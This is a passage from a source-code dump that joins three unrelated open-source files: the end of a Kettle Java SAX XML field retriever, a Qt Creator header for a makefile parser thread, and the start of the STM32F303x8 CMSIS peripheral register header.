XMLInputSaxFieldPosition(attributes.getQName(i),XMLInputSaxFieldPosition.XML_ATTRIBUTE,i+1); _pathToRootElement.add(tempP); XMLInputSaxFieldPosition[] path=new XMLInputSaxFieldPosition[_pathToRootElement.size()]; _pathToRootElement.toArray(path); _pathToRootElement.remove(_pathToRootElement.size()-1); XMLInputSaxField tempF=new XMLInputSaxField(tempP.getName(), path); if(!fields.contains(tempF)) { fields.add(tempF); } } } counterUp(); } else { _pathToRootElement.add(new XMLInputSaxFieldPosition(qName,XMLInputSaxFieldPosition.XML_ELEMENT_POS,position[_counter]+1)); } } else { _pathToRootElement.add(new XMLInputSaxFieldPosition(qName,XMLInputSaxFieldPosition.XML_ELEMENT_POS,position[_counter]+1)); counterUp(); } } else { _pathToRootElement.add(new XMLInputSaxFieldPosition(qName,XMLInputSaxFieldPosition.XML_ELEMENT_POS,position[_counter]+1)); } } else { XMLInputSaxField temp=null; if(attributes.getValue(meta.getDefiningAttribute(qName))==null) { _pathToRootElement.add(new XMLInputSaxFieldPosition(qName,XMLInputSaxFieldPosition.XML_ELEMENT_POS,position[_counter]+1)); XMLInputSaxFieldPosition[] path=new XMLInputSaxFieldPosition[_pathToRootElement.size()]; _pathToRootElement.toArray(path); temp = new XMLInputSaxField(naming(path),path); } else { String attribute = meta.getDefiningAttribute(qName); _pathToRootElement.add(new XMLInputSaxFieldPosition(qName, attribute, attributes.getValue(attribute))); XMLInputSaxFieldPosition[] path=new XMLInputSaxFieldPosition[_pathToRootElement.size()]; _pathToRootElement.toArray(path); temp = new XMLInputSaxField(naming(path),path); } if(!fields.contains(temp)) { fields.add(temp); } } } catch (KettleValueException e) { log.logError(Const.getStackTracker(e)); throw new SAXException(_counter+","+counter+((XMLInputSaxFieldPosition)_pathToRootElement.get(_pathToRootElement.size()-1)).toString(),e); } } public void characters(char[] ch, int start, int length) throws SAXException { //tempVal = new String(ch,start,length); } public void endElement(String uri, String localName, String qName) throws SAXException { position[_counter+1]=-1; counterDown(); } /*public static void main(String[] args){ XMLvInputFieldPosition[] path=new XMLvInputFieldPosition[3]; try { path[0]=new XMLvInputFieldPosition("Ep=raml"); path[1]=new XMLvInputFieldPosition("Ep=cmData"); path[2]=new XMLvInputFieldPosition("Ea=managedObject/class:BTS"); } catch (KettleValueException e) { // TODO Auto-generated catch block LogWriter.getInstance().logError(toString(), Const.getStackTracker(e)); } //System.out.println(new xmlElement("hello","hello","hello").equals(new xmlElement("hello","hello","hello"))); XMLvSaxFieldRetreiver spe = new XMLvSaxFieldRetreiver("D:\\NOKIA\\Project\\Ressources\\CASA-1.XML",path,"name"); ArrayList l=spe.getFields(); System.out.println(l.size()); for(int i=0;i<l.size();i++){ System.out.println(((XMLvInputField)l.get(i)).getFieldPositionsCode(3)); } }*/ }
dianhu/Kettle-Research
src/org/pentaho/di/trans/steps/xmlinputsax/XMLInputSaxFieldRetriever.java
Java
lgpl-2.1
10,129
/************************************************************************** ** ** Copyright (C) 2013 Openismus GmbH. ** Authors: Peter Penz (ppenz@openismus.com) ** Patricia Santana Cruz (patriciasantanacruz@gmail.com) ** Contact: http://www.qt-project.org/legal ** ** This file is part of Qt Creator. ** ** Commercial License Usage ** Licensees holding valid commercial Qt licenses may use this file in ** accordance with the commercial license agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and Digia. For licensing terms and ** conditions see http://qt.digia.com/licensing. For further information ** use the contact form at http://qt.digia.com/contact-us. ** ** GNU Lesser General Public License Usage ** Alternatively, this file may be used under the terms of the GNU Lesser ** General Public License version 2.1 as published by the Free Software ** Foundation and appearing in the file LICENSE.LGPL included in the ** packaging of this file. Please review the following information to ** ensure the GNU Lesser General Public License version 2.1 requirements ** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** In addition, as a special exception, Digia gives you certain additional ** rights. These rights are described in the Digia Qt LGPL Exception ** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. ** ****************************************************************************/ #ifndef MAKEFILEPARSERTHREAD_H #define MAKEFILEPARSERTHREAD_H #include "makefileparser.h" #include <QMutex> #include <QStringList> #include <QThread> namespace AutotoolsProjectManager { namespace Internal { /** * @brief Executes the makefile parser in the thread. * * After the finished() signal has been emitted, the makefile * parser output can be read by sources(), makefiles() and executable(). * A parsing error can be checked by hasError(). */ class MakefileParserThread : public QThread { Q_OBJECT public: MakefileParserThread(const QString &makefile); /** @see QThread::run() */ void run(); /** * @return List of sources that are set for the _SOURCES target. * Sources in sub directorties contain the sub directory as * prefix. Should be invoked, after the signal finished() * has been emitted. */ QStringList sources() const; /** * @return List of Makefile.am files from the current directory and * all sub directories. The values for sub directories contain * the sub directory as prefix. Should be invoked, after the * signal finished() has been emitted. */ QStringList makefiles() const; /** * @return File name of the executable. Should be invoked, after the * signal finished() has been emitted. */ QString executable() const; /** * @return List of include paths. Should be invoked, after the signal * finished() has been emitted. */ QStringList includePaths() const; /** * @return Concatenated defines. Should be invoked, after the signal * finished() has been emitted. */ QByteArray defines() const; /** * @return List of compiler flags for C. Should be invoked, after the signal * finished() has been emitted. */ QStringList cflags() const; /** * @return List of compiler flags for C++. Should be invoked, after the * signal finished() has been emitted. */ QStringList cxxflags() const; /** * @return True, if an error occurred during the parsing. Should be invoked, * after the signal finished() has been emitted. */ bool hasError() const; /** * @return True, if the the has been cancelled by MakefileParserThread::cancel(). */ bool isCanceled() const; public slots: /** * Cancels the parsing of the makefile. MakefileParser::hasError() will * return true in this case. */ void cancel(); signals: /** * Is emitted periodically during parsing the Makefile.am files * and the sub directories. \p status provides a translated * string, that can be shown to indicate the current state * of the parsing. */ void status(const QString &status); private: MakefileParser m_parser; ///< Is not accessible outside the thread mutable QMutex m_mutex; bool m_hasError; ///< Return value for MakefileParserThread::hasError() QString m_executable; ///< Return value for MakefileParserThread::executable() QStringList m_sources; ///< Return value for MakefileParserThread::sources() QStringList m_makefiles; ///< Return value for MakefileParserThread::makefiles() QStringList m_includePaths; ///< Return value for MakefileParserThread::includePaths() QByteArray m_defines; ///< Return value for MakefileParserThread::defines() QStringList m_cflags; ///< Return value for MakefileParserThread::cflags() QStringList m_cxxflags; ///< Return value for MakefileParserThread::cxxflags() }; } // namespace Internal } // namespace AutotoolsProjectManager #endif // MAKEFILEPARSERTHREAD_H
richardmg/qtcreator
src/plugins/autotoolsprojectmanager/makefileparserthread.h
C
lgpl-2.1
5,324
/** ****************************************************************************** * @file stm32f303x8.h * @author MCD Application Team * @version V2.3.0 * @date 29-April-2015 * @brief CMSIS STM32F303x8 Devices Peripheral Access Layer Header File. * * This file contains: * - Data structures and the address mapping for all peripherals * - Peripheral's registers declarations and bits definition * - Macros to access peripheral’s registers hardware * ****************************************************************************** * @attention * * <h2><center>&copy; COPYRIGHT(c) 2016 STMicroelectronics</center></h2> * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. Neither the name of STMicroelectronics nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************** */ /** @addtogroup CMSIS_Device * @{ */ /** @addtogroup stm32f303x8 * @{ */ #ifndef __STM32F303x8_H #define __STM32F303x8_H #ifdef __cplusplus extern "C" { #endif /* __cplusplus */ /** @addtogroup Configuration_section_for_CMSIS * @{ */ /** * @brief Configuration of the Cortex-M4 Processor and Core Peripherals */ #define __CM4_REV 0x0001U /*!< Core revision r0p1 */ #define __MPU_PRESENT 0U /*!< STM32F303x8 devices do not provide an MPU */ #define __NVIC_PRIO_BITS 4U /*!< STM32F303x8 devices use 4 Bits for the Priority Levels */ #define __Vendor_SysTickConfig 0U /*!< Set to 1 if different SysTick Config is used */ #define __FPU_PRESENT 1U /*!< STM32F303x8 devices provide an FPU */ /** * @} */ /** @addtogroup Peripheral_interrupt_number_definition * @{ */ /** * @brief STM32F303x8 devices Interrupt Number Definition, according to the selected device * in @ref Library_configuration_section */ typedef enum { /****** Cortex-M4 Processor Exceptions Numbers ****************************************************************/ NonMaskableInt_IRQn = -14, /*!< 2 Non Maskable Interrupt */ HardFault_IRQn = -13, /*!< 3 Cortex-M4 Hard Fault Interrupt */ MemoryManagement_IRQn = -12, /*!< 4 Cortex-M4 Memory Management Interrupt */ BusFault_IRQn = -11, /*!< 5 Cortex-M4 Bus Fault Interrupt */ UsageFault_IRQn = -10, /*!< 6 Cortex-M4 Usage Fault Interrupt */ SVCall_IRQn = -5, /*!< 11 Cortex-M4 SV Call Interrupt */ DebugMonitor_IRQn = -4, /*!< 12 Cortex-M4 Debug Monitor Interrupt */ PendSV_IRQn = -2, /*!< 14 Cortex-M4 Pend SV Interrupt */ SysTick_IRQn = -1, /*!< 15 Cortex-M4 System Tick Interrupt */ /****** STM32 specific Interrupt Numbers **********************************************************************/ WWDG_IRQn = 0, /*!< Window WatchDog Interrupt */ PVD_IRQn = 1, /*!< PVD through EXTI Line detection Interrupt */ TAMP_STAMP_IRQn = 2, /*!< Tamper and TimeStamp interrupts through the EXTI line 19 */ RTC_WKUP_IRQn = 3, /*!< RTC Wakeup interrupt through the EXTI line 20 */ FLASH_IRQn = 4, /*!< FLASH global Interrupt */ RCC_IRQn = 5, /*!< RCC global Interrupt */ EXTI0_IRQn = 6, /*!< EXTI Line0 Interrupt */ EXTI1_IRQn = 7, /*!< EXTI Line1 Interrupt */ EXTI2_TSC_IRQn = 8, /*!< EXTI Line2 Interrupt and Touch Sense Controller Interrupt */ EXTI3_IRQn = 9, /*!< EXTI Line3 Interrupt */ EXTI4_IRQn = 10, /*!< EXTI Line4 Interrupt */ DMA1_Channel1_IRQn = 11, /*!< DMA1 Channel 1 Interrupt */ DMA1_Channel2_IRQn = 12, /*!< DMA1 Channel 2 Interrupt */ DMA1_Channel3_IRQn = 13, /*!< DMA1 Channel 3 Interrupt */ DMA1_Channel4_IRQn = 14, /*!< DMA1 Channel 4 Interrupt */ DMA1_Channel5_IRQn = 15, /*!< DMA1 Channel 5 Interrupt */ DMA1_Channel6_IRQn = 16, /*!< DMA1 Channel 6 Interrupt */ DMA1_Channel7_IRQn = 17, /*!< DMA1 Channel 7 Interrupt */ ADC1_2_IRQn = 18, /*!< ADC1 & ADC2 Interrupts */ CAN_TX_IRQn = 19, /*!< CAN TX Interrupt */ CAN_RX0_IRQn = 20, /*!< CAN RX0 Interrupt */ CAN_RX1_IRQn = 21, /*!< CAN RX1 Interrupt */ CAN_SCE_IRQn = 22, /*!< CAN SCE Interrupt */ EXTI9_5_IRQn = 23, /*!< External Line[9:5] Interrupts */ TIM1_BRK_TIM15_IRQn = 24, /*!< TIM1 Break and TIM15 Interrupts */ TIM1_UP_TIM16_IRQn = 25, /*!< TIM1 Update and TIM16 Interrupts */ TIM1_TRG_COM_TIM17_IRQn = 26, /*!< TIM1 Trigger and Commutation and TIM17 Interrupt */ TIM1_CC_IRQn = 27, /*!< TIM1 Capture Compare Interrupt */ TIM2_IRQn = 28, /*!< TIM2 global Interrupt */ TIM3_IRQn = 29, /*!< TIM3 global Interrupt */ I2C1_EV_IRQn = 31, /*!< I2C1 Event Interrupt & EXTI Line23 Interrupt (I2C1 wakeup) */ I2C1_ER_IRQn = 32, /*!< I2C1 Error Interrupt */ SPI1_IRQn = 35, /*!< SPI1 global Interrupt */ USART1_IRQn = 37, /*!< USART1 global Interrupt & EXTI Line25 Interrupt (USART1 wakeup) */ USART2_IRQn = 38, /*!< USART2 global Interrupt & EXTI Line26 Interrupt (USART2 wakeup) */ USART3_IRQn = 39, /*!< USART3 global Interrupt & EXTI Line28 Interrupt (USART3 wakeup) */ EXTI15_10_IRQn = 40, /*!< External Line[15:10] Interrupts */ RTC_Alarm_IRQn = 41, /*!< RTC Alarm (A and B) through EXTI Line 17 Interrupt */ TIM6_DAC1_IRQn = 54, /*!< TIM6 global and DAC1 underrun error Interrupts*/ TIM7_DAC2_IRQn = 55, /*!< TIM7 global and DAC2 channel1 underrun error Interrupt */ COMP2_IRQn = 64, /*!< COMP2 global Interrupt via EXTI Line22 */ COMP4_6_IRQn = 65, /*!< COMP4 and COMP6 global Interrupt via EXTI Line30 and 32 */ FPU_IRQn = 81, /*!< Floating point Interrupt */ } IRQn_Type; /** * @} */ #include "core_cm4.h" /* Cortex-M4 processor and core peripherals */ /** @addtogroup Peripheral_registers_structures * @{ */ /** * @brief Analog to Digital Converter */ typedef struct { __IO uint32_t ISR; /*!< ADC Interrupt and Status Register, Address offset: 0x00 */ __IO uint32_t IER; /*!< ADC Interrupt Enable Register, Address offset: 0x04 */ __IO uint32_t CR; /*!< ADC control register, Address offset: 0x08 */ __IO uint32_t CFGR; /*!< ADC Configuration register, Address offset: 0x0C */ uint32_t RESERVED0; /*!< Reserved, 0x010 */ __IO uint32_t SMPR1; /*!< ADC sample time register 1, Address offset: 0x14 */ __IO uint32_t SMPR2; /*!< ADC sample time register 2, Address offset: 0x18 */ uint32_t RESERVED1; /*!< Reserved, 0x01C */ __IO uint32_t TR1; /*!< ADC watchdog threshold register 1, Address offset: 0x20 */ __IO uint32_t TR2; /*!< ADC watchdog threshold register 2, Address offset: 0x24 */ __IO uint32_t TR3; /*!< ADC watchdog threshold register 3, Address offset: 0x28 */ uint32_t RESERVED2; /*!< Reserved, 0x02C */ __IO uint32_t SQR1; /*!< ADC regular sequence register 1, Address offset: 0x30 */ __IO uint32_t SQR2; /*!< ADC regular sequence register 2, Address offset: 0x34 */ __IO uint32_t SQR3; /*!< ADC regular sequence register 3, Address offset: 0x38 */ __IO uint32_t SQR4; /*!< ADC regular sequence register 4, Address offset: 0x3C */ __IO uint32_t DR; /*!< ADC regular data register, Address offset: 0x40 */ uint32_t RESERVED3; /*!< Reserved, 0x044 */ uint32_t RESERVED4; /*!< Reserved, 0x048 */ __IO uint32_t JSQR; /*!< ADC injected sequence register, Address offset: 0x4C */ uint32_t RESERVED5[4]; /*!< Reserved, 0x050 - 0x05C */ __IO uint32_t OFR1; /*!< ADC offset register 1, Address offset: 0x60 */ __IO uint32_t OFR2; /*!< ADC offset register 2, Address offset: 0x64 */ __IO uint32_t OFR3; /*!< ADC offset register 3, Address offset: 0x68 */ __IO uint32_t OFR4; /*!< ADC offset register 4, Address offset: 0x6C */ uint32_t RESERVED6[4]; /*!< Reserved, 0x070 - 0x07C */ __IO uint32_t JDR1; /*!< ADC injected data register 1, Address offset: 0x80 */ __IO uint32_t JDR2; /*!< ADC injected data register 2, Address offset: 0x84 */ __IO uint32_t JDR3; /*!< ADC injected data register 3, Address offset: 0x88 */ __IO uint32_t JDR4; /*!< ADC injected data register 4, Address offset: 0x8C */ uint32_t RESERVED7[4]; /*!< Reserved, 0x090 - 0x09C */ __IO uint32_t AWD2CR; /*!< ADC Analog Watchdog 2 Configuration Register, Address offset: 0xA0 */ __IO uint32_t AWD3CR; /*!< ADC Analog Watchdog 3 Configuration Register, Address offset: 0xA4 */ uint32_t RESERVED8; /*!< Reserved, 0x0A8 */ uint32_t RESERVED9; /*!< Reserved, 0x0AC */ __IO uint32_t DIFSEL; /*!< ADC Differential Mode Selection Register, Address offset: 0xB0 */ __IO uint32_t CALFACT; /*!< ADC Calibration Factors, Address offset: 0xB4 */ } ADC_TypeDef; typedef struct { __IO uint32_t CSR; /*!< ADC Common status register, Address offset: ADC1/3 base address + 0x300 */ uint32_t RESERVED; /*!< Reserved, ADC1/3 base address + 0x304 */ __IO uint32_t CCR; /*!< ADC common control register, Address offset: ADC1/3 base address + 0x308 */ __IO uint32_t CDR; /*!< ADC common regular data register for dual AND triple modes, Address offset: ADC1/3 base address + 0x30C */ } ADC_Common_TypeDef; /** * @brief Controller Area Network TxMailBox */ typedef struct { __IO uint32_t TIR; /*!< CAN TX mailbox identifier register */ __IO uint32_t TDTR; /*!< CAN mailbox data length control and time stamp register */ __IO uint32_t TDLR; /*!< CAN mailbox data low register */ __IO uint32_t TDHR; /*!< CAN mailbox data high register */ } CAN_TxMailBox_TypeDef; /** * @brief Controller Area Network FIFOMailBox */ typedef struct { __IO uint32_t RIR; /*!< CAN receive FIFO mailbox identifier register */ __IO uint32_t RDTR; /*!< CAN receive FIFO mailbox data length control and time stamp register */ __IO uint32_t RDLR; /*!< CAN receive FIFO mailbox data low register */ __IO uint32_t RDHR; /*!< CAN receive FIFO mailbox data high register */ } CAN_FIFOMailBox_TypeDef; /** * @brief Controller Area Network FilterRegister */ typedef struct { __IO uint32_t FR1; /*!< CAN Filter bank register 1 */ __IO uint32_t FR2; /*!< CAN Filter bank register 1 */ } CAN_FilterRegister_TypeDef; /** * @brief Controller Area Network */ typedef struct { __IO uint32_t MCR; /*!< CAN master control register, Address offset: 0x00 */ __IO uint32_t MSR; /*!< CAN master status register, Address offset: 0x04 */ __IO uint32_t TSR; /*!< CAN transmit status register, Address offset: 0x08 */ __IO uint32_t RF0R; /*!< CAN receive FIFO 0 register, Address offset: 0x0C */ __IO uint32_t RF1R; /*!< CAN receive FIFO 1 register, Address offset: 0x10 */ __IO uint32_t IER; /*!< CAN interrupt enable register, Address offset: 0x14 */ __IO uint32_t ESR; /*!< CAN error status register, Address offset: 0x18 */ __IO uint32_t BTR; /*!< CAN bit timing register, Address offset: 0x1C */ uint32_t RESERVED0[88]; /*!< Reserved, 0x020 - 0x17F */ CAN_TxMailBox_TypeDef sTxMailBox[3]; /*!< CAN Tx MailBox, Address offset: 0x180 - 0x1AC */ CAN_FIFOMailBox_TypeDef sFIFOMailBox[2]; /*!< CAN FIFO MailBox, Address offset: 0x1B0 - 0x1CC */ uint32_t RESERVED1[12]; /*!< Reserved, 0x1D0 - 0x1FF */ __IO uint32_t FMR; /*!< CAN filter master register, Address offset: 0x200 */ __IO uint32_t FM1R; /*!< CAN filter mode register, Address offset: 0x204 */ uint32_t RESERVED2; /*!< Reserved, 0x208 */ __IO uint32_t FS1R; /*!< CAN filter scale register, Address offset: 0x20C */ uint32_t RESERVED3; /*!< Reserved, 0x210 */ __IO uint32_t FFA1R; /*!< CAN filter FIFO assignment register, Address offset: 0x214 */ uint32_t RESERVED4; /*!< Reserved, 0x218 */ __IO uint32_t FA1R; /*!< CAN filter activation register, Address offset: 0x21C */ uint32_t RESERVED5[8]; /*!< Reserved, 0x220-0x23F */ CAN_FilterRegister_TypeDef sFilterRegister[28]; /*!< CAN Filter Register, Address offset: 0x240-0x31C */ } CAN_TypeDef; /** * @brief Analog Comparators */ typedef struct { __IO uint32_t CSR; /*!< COMP control and status register, Address offset: 0x00 */ } COMP_TypeDef; typedef struct { __IO uint32_t CSR; /*!< COMP control and status register, used for bits common to several COMP instances, Address offset: 0x00 */ } COMP_Common_TypeDef; /** * @brief CRC calculation unit */ typedef struct { __IO uint32_t DR; /*!< CRC Data register, Address offset: 0x00 */ __IO uint8_t IDR; /*!< CRC Independent data register, Address offset: 0x04 */ uint8_t RESERVED0; /*!< Reserved, 0x05 */ uint16_t RESERVED1; /*!< Reserved, 0x06 */ __IO uint32_t CR; /*!< CRC Control register, Address offset: 0x08 */ uint32_t RESERVED2; /*!< Reserved, 0x0C */ __IO uint32_t INIT; /*!< Initial CRC value register, Address offset: 0x10 */ __IO uint32_t POL; /*!< CRC polynomial register, Address offset: 0x14 */ } CRC_TypeDef; /** * @brief Digital to Analog Converter */ typedef struct { __IO uint32_t CR; /*!< DAC control register, Address offset: 0x00 */ __IO uint32_t SWTRIGR; /*!< DAC software trigger register, Address offset: 0x04 */ __IO uint32_t DHR12R1; /*!< DAC channel1 12-bit right-aligned data holding register, Address offset: 0x08 */ __IO uint32_t DHR12L1; /*!< DAC channel1 12-bit left aligned data holding register, Address offset: 0x0C */ __IO uint32_t DHR8R1; /*!< DAC channel1 8-bit right aligned data holding register, Address offset: 0x10 */ __IO uint32_t DHR12R2; /*!< DAC channel2 12-bit right aligned data holding register, Address offset: 0x14 */ __IO uint32_t DHR12L2; /*!< DAC channel2 12-bit left aligned data holding register, Address offset: 0x18 */ __IO uint32_t DHR8R2; /*!< DAC channel2 8-bit right-aligned data holding register, Address offset: 0x1C */ __IO uint32_t DHR12RD; /*!< Dual DAC 12-bit right-aligned data holding register, Address offset: 0x20 */ __IO uint32_t DHR12LD; /*!< DUAL DAC 12-bit left aligned data holding register, Address offset: 0x24 */ __IO uint32_t DHR8RD; /*!< DUAL DAC 8-bit right aligned data holding register, Address offset: 0x28 */ __IO uint32_t DOR1; /*!< DAC channel1 data output register, Address offset: 0x2C */ __IO uint32_t DOR2; /*!< DAC channel2 data output register, Address offset: 0x30 */ __IO uint32_t SR; /*!< DAC status register, Address offset: 0x34 */ } DAC_TypeDef; /** * @brief Debug MCU */ typedef struct { __IO uint32_t IDCODE; /*!< MCU device ID code, Address offset: 0x00 */ __IO uint32_t CR; /*!< Debug MCU configuration register, Address offset: 0x04 */ __IO uint32_t APB1FZ; /*!< Debug MCU APB1 freeze register, Address offset: 0x08 */ __IO uint32_t APB2FZ; /*!< Debug MCU APB2 freeze register, Address offset: 0x0C */ }DBGMCU_TypeDef; /** * @brief DMA Controller */ typedef struct { __IO uint32_t CCR; /*!< DMA channel x configuration register */ __IO uint32_t CNDTR; /*!< DMA channel x number of data register */ __IO uint32_t CPAR; /*!< DMA channel x peripheral address register */ __IO uint32_t CMAR; /*!< DMA channel x memory address register */ } DMA_Channel_TypeDef; typedef struct { __IO uint32_t ISR; /*!< DMA interrupt status register, Address offset: 0x00 */ __IO uint32_t IFCR; /*!< DMA interrupt flag clear register, Address offset: 0x04 */ } DMA_TypeDef; /** * @brief External Interrupt/Event Controller */ typedef struct { __IO uint32_t IMR; /*!<EXTI Interrupt mask register, Address offset: 0x00 */ __IO uint32_t EMR; /*!<EXTI Event mask register, Address offset: 0x04 */ __IO uint32_t RTSR; /*!<EXTI Rising trigger selection register , Address offset: 0x08 */ __IO uint32_t FTSR; /*!<EXTI Falling trigger selection register, Address offset: 0x0C */ __IO uint32_t SWIER; /*!<EXTI Software interrupt event register, Address offset: 0x10 */ __IO uint32_t PR; /*!<EXTI Pending register, Address offset: 0x14 */ uint32_t RESERVED1; /*!< Reserved, 0x18 */ uint32_t RESERVED2; /*!< Reserved, 0x1C */ __IO uint32_t IMR2; /*!< EXTI Interrupt mask register, Address offset: 0x20 */ __IO uint32_t EMR2; /*!< EXTI Event mask register, Address offset: 0x24 */ __IO uint32_t RTSR2; /*!< EXTI Rising trigger selection register, Address offset: 0x28 */ __IO uint32_t FTSR2; /*!< EXTI Falling trigger selection register, Address offset: 0x2C */ __IO uint32_t SWIER2; /*!< EXTI Software interrupt event register, Address offset: 0x30 */ __IO uint32_t PR2; /*!< EXTI Pending register, Address offset: 0x34 */ }EXTI_TypeDef; /** * @brief FLASH Registers */ typedef struct { __IO uint32_t ACR; /*!< FLASH access control register, Address offset: 0x00 */ __IO uint32_t KEYR; /*!< FLASH key register, Address offset: 0x04 */ __IO uint32_t OPTKEYR; /*!< FLASH option key register, Address offset: 0x08 */ __IO uint32_t SR; /*!< FLASH status register, Address offset: 0x0C */ __IO uint32_t CR; /*!< FLASH control register, Address offset: 0x10 */ __IO uint32_t AR; /*!< FLASH address register, Address offset: 0x14 */ uint32_t RESERVED; /*!< Reserved, 0x18 */ __IO uint32_t OBR; /*!< FLASH Option byte register, Address offset: 0x1C */ __IO uint32_t WRPR; /*!< FLASH Write register, Address offset: 0x20 */ } FLASH_TypeDef; /** * @brief Option Bytes Registers */ typedef struct { __IO uint16_t RDP; /*!<FLASH option byte Read protection, Address offset: 0x00 */ __IO uint16_t USER; /*!<FLASH option byte user options, Address offset: 0x02 */ uint16_t RESERVED0; /*!< Reserved, 0x04 */ uint16_t RESERVED1; /*!< Reserved, 0x06 */ __IO uint16_t WRP0; /*!<FLASH option byte write protection 0, Address offset: 0x08 */ __IO uint16_t WRP1; /*!<FLASH option byte write protection 1, Address offset: 0x0C */ __IO uint16_t WRP2; /*!<FLASH option byte write protection 2, Address offset: 0x10 */ __IO uint16_t WRP3; /*!<FLASH option byte write protection 3, Address offset: 0x12 */ } OB_TypeDef; /** * @brief General Purpose I/O */ typedef struct { __IO uint32_t MODER; /*!< GPIO port mode register, Address offset: 0x00 */ __IO uint32_t OTYPER; /*!< GPIO port output type register, Address offset: 0x04 */ __IO uint32_t OSPEEDR; /*!< GPIO port output speed register, Address offset: 0x08 */ __IO uint32_t PUPDR; /*!< GPIO port pull-up/pull-down register, Address offset: 0x0C */ __IO uint32_t IDR; /*!< GPIO port input data register, Address offset: 0x10 */ __IO uint32_t ODR; /*!< GPIO port output data register, Address offset: 0x14 */ __IO uint16_t BSRRL; /*!< GPIO port bit set/reset register, Address offset: 0x18 */ __IO uint16_t BSRRH; /*!< GPIO port bit set/reset register, Address offset: 0x1A */ __IO uint32_t LCKR; /*!< GPIO port configuration lock register, Address offset: 0x1C */ __IO uint32_t AFR[2]; /*!< GPIO alternate function registers, Address offset: 0x20-0x24 */ __IO uint32_t BRR; /*!< GPIO bit reset register, Address offset: 0x28 */ }GPIO_TypeDef; /** * @brief Operational Amplifier (OPAMP) */ typedef struct { __IO uint32_t CSR; /*!< OPAMP control and status register, Address offset: 0x00 */ } OPAMP_TypeDef; /** * @brief System configuration controller */ typedef struct { __IO uint32_t CFGR1; /*!< SYSCFG configuration register 1, Address offset: 0x00 */ __IO uint32_t RCR; /*!< SYSCFG CCM SRAM protection register, Address offset: 0x04 */ __IO uint32_t EXTICR[4]; /*!< SYSCFG external interrupt configuration registers, Address offset: 0x14-0x08 */ __IO uint32_t CFGR2; /*!< SYSCFG configuration register 2, Address offset: 0x18 */ __IO uint32_t RESERVED0; /*!< Reserved, 0x1C */ __IO uint32_t RESERVED1; /*!< Reserved, 0x20 */ __IO uint32_t RESERVED2; /*!< Reserved, 0x24 */ __IO uint32_t RESERVED4; /*!< Reserved, 0x28 */ __IO uint32_t RESERVED5; /*!< Reserved, 0x2C */ __IO uint32_t RESERVED6; /*!< Reserved, 0x30 */ __IO uint32_t RESERVED7; /*!< Reserved, 0x34 */ __IO uint32_t RESERVED8; /*!< Reserved, 0x38 */ __IO uint32_t RESERVED9; /*!< Reserved, 0x3C */ __IO uint32_t RESERVED10; /*!< Reserved, 0x40 */ __IO uint32_t RESERVED11; /*!< Reserved, 0x44 */ __IO uint32_t RESERVED12; /*!< Reserved, 0x48 */ __IO uint32_t RESERVED13; /*!< Reserved, 0x4C */ __IO uint32_t CFGR3; /*!< SYSCFG configuration register 3, Address offset: 0x50 */ } SYSCFG_TypeDef; /** * @brief Inter-integrated Circuit Interface */ typedef struct { __IO uint32_t CR1; /*!< I2C Control register 1, Address offset: 0x00 */ __IO uint32_t CR2; /*!< I2C Control register 2, Address offset: 0x04 */ __IO uint32_t OAR1; /*!< I2C Own address 1 register, Address offset: 0x08 */ __IO uint32_t OAR2; /*!< I2C Own address 2 register, Address offset: 0x0C */ __IO uint32_t TIMINGR; /*!< I2C Timing register, Address offset: 0x10 */ __IO uint32_t TIMEOUTR; /*!< I2C Timeout register, Address offset: 0x14 */ __IO uint32_t ISR; /*!< I2C Interrupt and status register, Address offset: 0x18 */ __IO uint32_t ICR; /*!< I2C Interrupt clear register, Address offset: 0x1C */ __IO uint32_t PECR; /*!< I2C PEC register, Address offset: 0x20 */ __IO uint32_t RXDR; /*!< I2C Receive data register, Address offset: 0x24 */ __IO uint32_t TXDR; /*!< I2C Transmit data register, Address offset: 0x28 */ }I2C_TypeDef; /** * @brief Independent WATCHDOG */ typedef struct { __IO uint32_t KR; /*!< IWDG Key register, Address offset: 0x00 */ __IO uint32_t PR; /*!< IWDG Prescaler register, Address offset: 0x04 */ __IO uint32_t RLR; /*!< IWDG Reload register, Address offset: 0x08 */ __IO uint32_t SR; /*!< IWDG Status register, Address offset: 0x0C */ __IO uint32_t WINR; /*!< IWDG Window register, Address offset: 0x10 */ } IWDG_TypeDef; /** * @brief Power Control */ typedef struct { __IO uint32_t CR; /*!< PWR power control register, Address offset: 0x00 */ __IO uint32_t CSR; /*!< PWR power control/status register, Address offset: 0x04 */ } PWR_TypeDef; /** * @brief Reset and Clock Control */ typedef struct { __IO uint32_t CR; /*!< RCC clock control register, Address offset: 0x00 */ __IO uint32_t CFGR; /*!< RCC clock configuration register, Address offset: 0x04 */ __IO uint32_t CIR; /*!< RCC clock interrupt register, Address offset: 0x08 */ __IO uint32_t APB2RSTR; /*!< RCC APB2 peripheral reset register, Address offset: 0x0C */ __IO uint32_t APB1RSTR; /*!< RCC APB1 peripheral reset register, Address offset: 0x10 */ __IO uint32_t AHBENR; /*!< RCC AHB peripheral clock register, Address offset: 0x14 */ __IO uint32_t APB2ENR; /*!< RCC APB2 